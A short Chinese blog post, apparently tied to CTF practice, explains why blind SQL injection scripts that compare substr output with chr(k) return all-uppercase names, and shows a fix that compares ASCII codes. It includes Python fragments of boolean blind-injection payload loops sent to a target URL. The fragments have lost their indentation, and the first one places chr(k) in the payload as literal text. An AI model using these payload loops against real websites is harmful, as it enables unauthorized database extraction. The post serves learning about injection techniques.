前言

众所周知,SQL语句是不区分大小写的,这个特性在方便开发人员的同时也便利了黑阔们进行一个简单的绕过(比如大小写绕WAF),但我们今天的主题不是bypass,而是这个特性与盲注脚本碰撞所产生的一个坑。

特性

SQL不区分大小写,很多人可能会觉得:那又怎么样,不就是敲语句的时候方便些吗?然而这个特性直接造成’a’与’A’在SQL语句中是一样的,即’a’=’A’是成立的!

image-20230214111209552

而盲注脚本中用substr逐个取字母出来比对则会受到这个特性的影响,又因为ASCII码的顺序是先大写字母再小写字母,所以在以下代码中:

1
2
3
4
5
6
for j in range(1, information_length + 1):	
for k in range(32,128)
payload = f' and substr((select {column_name} from {table_name} limit {y-1},1),{j},1)=%27chr(k)%27'
new_url = base_url + payload
if flag_text in requests.get(new_url).text.encode('utf-8').decode("utf-8"):
information_name = information_name + chr(k)

ASCII码从小到大不断用取k出来,拿chr(k)和substr出来的字段名字母进行比较,结果会得到全部为大写的字段名(毕竟只要满足条件就开始匹配下一个字母了)

解决办法

想要解决其实也很简单,全部使用ASCII码进行比较就可以了~(而且二分法也会用到这个)

1
2
3
4
5
6
for j in range(1, information_length + 1):
for k in range(32, 126):
payload = f' and ascii(substr((select {column_name} from {table_name} limit {y-1},1),{j},1))={k}'
new_url = base_url + payload
if flag_text in requests.get(new_url).text.encode('utf-8').decode("utf-8"):
information_name = information_name + chr(k)

尾声

摸了很久,所以接下来一周会多写几篇和SQL有关的博客(大概

补充

SQL语句不区分大小写,但是数据库里的数据还是区分大小写的,也就是说,如果数据库里的表名是’flag’,在SQL语句中用where table_name=’Flag’ 的条件进行筛选,匹配不了数据库里的’flag’

我所说的SQL语句不区分大小写仅限于SQL语句中的判断条件,SQL语句认为’a’=’A’,用户输入的’flag’和’Flag’它只会原封不动地传给数据库进行比对,而在数据库里就有了区分~